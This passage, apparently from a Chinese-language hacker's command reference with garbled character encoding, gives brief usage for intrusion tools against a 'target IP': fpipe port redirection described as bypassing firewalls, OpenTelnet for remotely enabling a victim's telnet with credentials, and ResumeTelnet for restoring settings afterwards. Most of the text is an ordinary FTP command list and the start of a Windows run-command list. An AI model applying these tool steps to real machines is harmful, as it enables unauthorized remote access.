44、P地址 t:20 20秒后將對(duì)方NT自動(dòng)關(guān)閉(Windows 2003系統(tǒng)自帶工具，在Windows2000下用進(jìn)就得下載此工具才能用。在前面Windows 2003 DOS命令中有詳細(xì)介紹。)fpipe.exe (TCP端口重定向工具) 在第二篇中有詳細(xì)說(shuō)明(端口重定向繞過(guò)防火墻)Fpipe -l 23 -s 88 -r 23 目標(biāo)IP 把本機(jī)向目標(biāo)IP發(fā)送的23端口Telnet請(qǐng)求經(jīng)端口重定向后，就通過(guò)88端口發(fā)送到目標(biāo)IP的23端口。(與目標(biāo)IP建立Telnet時(shí)本機(jī)就用的 88端口與其相連接)然后：直接Telnet (本機(jī)IP)就連接到目標(biāo)IP的23端口了。OpenT

45、elnet.exe (遠(yuǎn)程開啟telnet工具)opentelnet.exe IP 帳號(hào)密碼ntlm認(rèn)證方式Telnet端口 (不需要上傳ntlm.exe破壞微軟的身份驗(yàn)證方式)直接遠(yuǎn)程開啟對(duì)方的telnet服務(wù)后，就可用telnet ip 連接上對(duì)方。NTLM認(rèn)證方式：0：不使用NTLM身份驗(yàn)證;1：先嘗試NTLM身份驗(yàn)證，如果失敗，再使用用戶名和密碼;2：只使用NTLM身份驗(yàn)證。ResumeTelnet.exe (OpenTelnet附帶的另一個(gè)工具)resumetelnet.exe IP帳號(hào)密碼 用Telnet連接完對(duì)方后，就用這個(gè)命令將對(duì)方的Telnet設(shè)置還原，并同時(shí)關(guān)閉Telnet

46、服務(wù)。#10 十：6、FTP命令詳解：FTP命令是Internet用戶使用最頻繁的命令之一，熟悉并靈活應(yīng)用FTP的內(nèi)部命令，可以大大方便使用者，并收到事半功倍之效。如果你想學(xué)習(xí)使用進(jìn)行后臺(tái)FTP下載，那么就必須學(xué)習(xí)FTP指令。FTP的命令行格式為：ftp -v -d -i -n -g 主機(jī)名 ，其中-v 顯示遠(yuǎn)程服務(wù)器的所有響應(yīng)信息;-n 限制ftp的自動(dòng)登錄，即不使用;.n etrc文件;-d 使用調(diào)試方式;-g 取消全局文件名。FTP使用的內(nèi)部命令如下(中括號(hào)表示可選項(xiàng)):1.!cmdargs：在本地機(jī)中執(zhí)行交互shell，exit回到ftp環(huán)境，如：!ls*.zip2.$ macro-a

47、meargs： 執(zhí)行宏定義macro-name。3.accountpassword： 提供登錄遠(yuǎn)程系統(tǒng)成功后訪問(wèn)系統(tǒng)資源所需的補(bǔ)充口令。4.append local-fileremote-file：將本地文件追加到遠(yuǎn)程系統(tǒng)主機(jī)，若未指定遠(yuǎn)程系統(tǒng)文件名，則使用本地文件名。5.ascii：使用ascii類型傳輸方式。6.bell：每個(gè)命令執(zhí)行完畢后計(jì)算機(jī)響鈴一次。7.bin：使用二進(jìn)制文件傳輸方式。8.bye：退出ftp會(huì)話過(guò)程。9.case：在使用mget時(shí)，將遠(yuǎn)程主機(jī)文件名中的大寫轉(zhuǎn)為小寫字母。10.cd remote-dir：進(jìn)入遠(yuǎn)程主機(jī)目錄。11.cdup：進(jìn)入遠(yuǎn)程主機(jī)目錄的父目錄。12.

48、chmod mode file-name：將遠(yuǎn)程主機(jī)文件file-name的存取方式設(shè)置為mode，如：chmod 777 a.out。13.close：中斷與遠(yuǎn)程服務(wù)器的ftp會(huì)話(與open對(duì)應(yīng))。14.cr：使用asscii方式傳輸文件時(shí)，將回車換行轉(zhuǎn)換為回行。15.delete remote-file：刪除遠(yuǎn)程主機(jī)文件。16.debugdebug-value：設(shè)置調(diào)試方式， 顯示發(fā)送至遠(yuǎn)程主機(jī)的每條命令，如：deb up 3，若設(shè)為0，表示取消debug。17.dirremote-dirlocal-file：顯示遠(yuǎn)程主機(jī)目錄，并將結(jié)果存入本地文件。18.disconnection：同c

49、lose。19.form format：將文件傳輸方式設(shè)置為format，缺省為file方式。20.get remote-filelocal-file： 將遠(yuǎn)程主機(jī)的文件remote-file傳至本地硬盤的local-file。21.glob：設(shè)置mdelete，mget，mput的文件名擴(kuò)展，缺省時(shí)不擴(kuò)展文件名，同命令行的-g參數(shù)。22.hash：每傳輸1024字節(jié)，顯示一個(gè)hash符號(hào)(#)。23.helpcmd：顯示ftp內(nèi)部命令cmd的幫助信息，如：help get。24.idleseconds：將遠(yuǎn)程服務(wù)器的休眠計(jì)時(shí)器設(shè)為seconds秒。25.image：設(shè)置二進(jìn)制傳輸方式(同bi

50、nary)。26.lcddir：將本地工作目錄切換至dir。27.lsremote-dirlocal-file：顯示遠(yuǎn)程目錄remote-dir， 并存入本地文件local-file。28.macdef macro-name：定義一個(gè)宏，遇到macdef下的空行時(shí)，宏定義結(jié)束。29.mdeleteremote-file：刪除遠(yuǎn)程主機(jī)文件。30.mdir remote-files local-file：與dir類似，但可指定多個(gè)遠(yuǎn)程文件，如 ：mdir *.o.*.zipoutfile 。31.mget remote-files：傳輸多個(gè)遠(yuǎn)程文件。32.mkdir dir-name：在遠(yuǎn)程主機(jī)中

51、建一目錄。33.mls remote-file local-file：同nlist，但可指定多個(gè)文件名。34.modemodename：將文件傳輸方式設(shè)置為modename， 缺省為stream方式。35.modtime file-name：顯示遠(yuǎn)程主機(jī)文件的最后修改時(shí)間。36.mput local-file：將多個(gè)文件傳輸至遠(yuǎn)程主機(jī)。37.newer file-name： 如果遠(yuǎn)程機(jī)中file-name的修改時(shí)間比本地硬盤同名文件的時(shí)間更近，則重傳該文件。38.nlistremote-dirlocal-file：顯示遠(yuǎn)程主機(jī)目錄的文件清單，并存入本地硬盤的local-file。39.nmap

52、inpattern outpattern：設(shè)置文件名映射機(jī)制， 使得文件傳輸時(shí)，文件中的某些字符相互轉(zhuǎn)換， 如：nmap $1.$2.$3$1，$2.$2，$3，則傳輸文件a1.a2.a3時(shí)，文件名變?yōu)閍1，a2。該命令特別適用于遠(yuǎn)程主機(jī)為非UNIX機(jī)的情況。40.ntransincharsoutchars：設(shè)置文件名字符的翻譯機(jī)制，如ntrans1R，則文件名LLL將變?yōu)镽RR。41.open hostport：建立指定ftp服務(wù)器連接，可指定連接端口。42.passive：進(jìn)入被動(dòng)傳輸方式。43.prompt：設(shè)置多個(gè)文件傳輸時(shí)的交互提示。44.proxy ftp-cmd：在次要控制連接中

53、，執(zhí)行一條ftp命令， 該命令允許連接兩個(gè)ftp服務(wù)器，以在兩個(gè)服務(wù)器間傳輸文件。第一條ftp命令必須為open，以首先建立兩個(gè)服務(wù)器間的連接。45.put local-fileremote-file：將本地文件local-file傳送至遠(yuǎn)程主機(jī)。46.pwd：顯示遠(yuǎn)程主機(jī)的當(dāng)前工作目錄。47.quit：同bye，退出ftp會(huì)話。48.quote arg1，arg2.：將參數(shù)逐字發(fā)至遠(yuǎn)程ftp服務(wù)器，如：quote syst.49.recv remote-filelocal-file：同get。50.reget remote-filelocal-file：類似于get， 但若local-fil

54、e存在，則從上次傳輸中斷處續(xù)傳。51.rhelpcmd-name：請(qǐng)求獲得遠(yuǎn)程主機(jī)的幫助。52.rstatusfile-name：若未指定文件名，則顯示遠(yuǎn)程主機(jī)的狀態(tài)， 否則顯示文件狀態(tài)。53.renamefromto：更改遠(yuǎn)程主機(jī)文件名。54.reset：清除回答隊(duì)列。55.restart marker：從指定的標(biāo)志marker處，重新開始get或put，如：restart 130。56.rmdir dir-name：刪除遠(yuǎn)程主機(jī)目錄。57.runique：設(shè)置文件名只一性存儲(chǔ)，若文件存在，則在原文件后加后綴.1， .2等。58.send local-fileremote-file：同put

55、。59.sendport：設(shè)置PORT命令的使用。60.site arg1，arg2.：將參數(shù)作為SITE命令逐字發(fā)送至遠(yuǎn)程ftp主機(jī)。61.size file-name：顯示遠(yuǎn)程主機(jī)文件大小，如：site idle 7200。62.status：顯示當(dāng)前ftp狀態(tài)。63.structstruct-name：將文件傳輸結(jié)構(gòu)設(shè)置為struct-name， 缺省時(shí)使用stream結(jié)構(gòu)。64.sunique：將遠(yuǎn)程主機(jī)文件名存儲(chǔ)設(shè)置為只一(與runique對(duì)應(yīng))。65.system：顯示遠(yuǎn)程主機(jī)的操作系統(tǒng)類型。66.tenex：將文件傳輸類型設(shè)置為TENEX機(jī)的所需的類型。67.tick：設(shè)置傳輸時(shí)

56、的字節(jié)計(jì)數(shù)器。68.trace：設(shè)置包跟蹤。69.typetype-name：設(shè)置文件傳輸類型為type-name，缺省為ascii，如:type binary，設(shè)置二進(jìn)制傳輸方式。70.umasknewmask：將遠(yuǎn)程服務(wù)器的缺省umask設(shè)置為newmask，如：umask 371.user user-namepasswordaccount：向遠(yuǎn)程主機(jī)表明自己的身份，需要口令時(shí)，必須輸入口令，如：user anonymous myemail。72.verbose：同命令行的-v參數(shù)，即設(shè)置詳盡報(bào)告方式，ftp 服務(wù)器的所有響 應(yīng)都將顯示給用戶，缺省為on.73.?cmd：同help.#11 十一：7：計(jì)算機(jī)運(yùn)行命令全集 winver-檢查Windows版本wupdmgr-windows更新程序winver-檢查Windows版本wupdmgr-windows更新程序wscript-windows腳本宿主設(shè)置write-寫字板winmsd-系統(tǒng)信息wi